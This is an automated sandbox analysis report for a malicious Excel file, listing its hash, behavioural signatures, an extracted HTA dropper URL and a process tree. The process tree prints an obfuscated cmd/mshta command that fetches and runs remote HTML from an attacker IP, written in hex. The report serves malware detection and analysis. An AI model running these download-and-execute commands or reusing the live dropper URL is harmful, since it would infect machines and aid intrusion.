Analysis

  • max time kernel
    111s
  • max time network
    98s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    12/05/2022, 16:27

General

  • Target
    ?i=1amgoqpjj.xls
  • Size 71KB
  • Sample220512-tx4l7acbc2
  • SHA256 6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://185.7.214.7/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1amgoqpjj.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1988

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1712-54-0x000000002FDF1000-0x000000002FDF4000-memory.dmp

        memory/1712-55-0x0000000071641000-0x0000000071643000-memory.dmp

        memory/1712-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1712-57-0x000000007262D000-0x0000000072638000-memory.dmp

        memory/1712-58-0x00000000763E1000-0x00000000763E3000-memory.dmp

        memory/1712-61-0x000000005FFF0000-0x0000000060000000-memory.dmp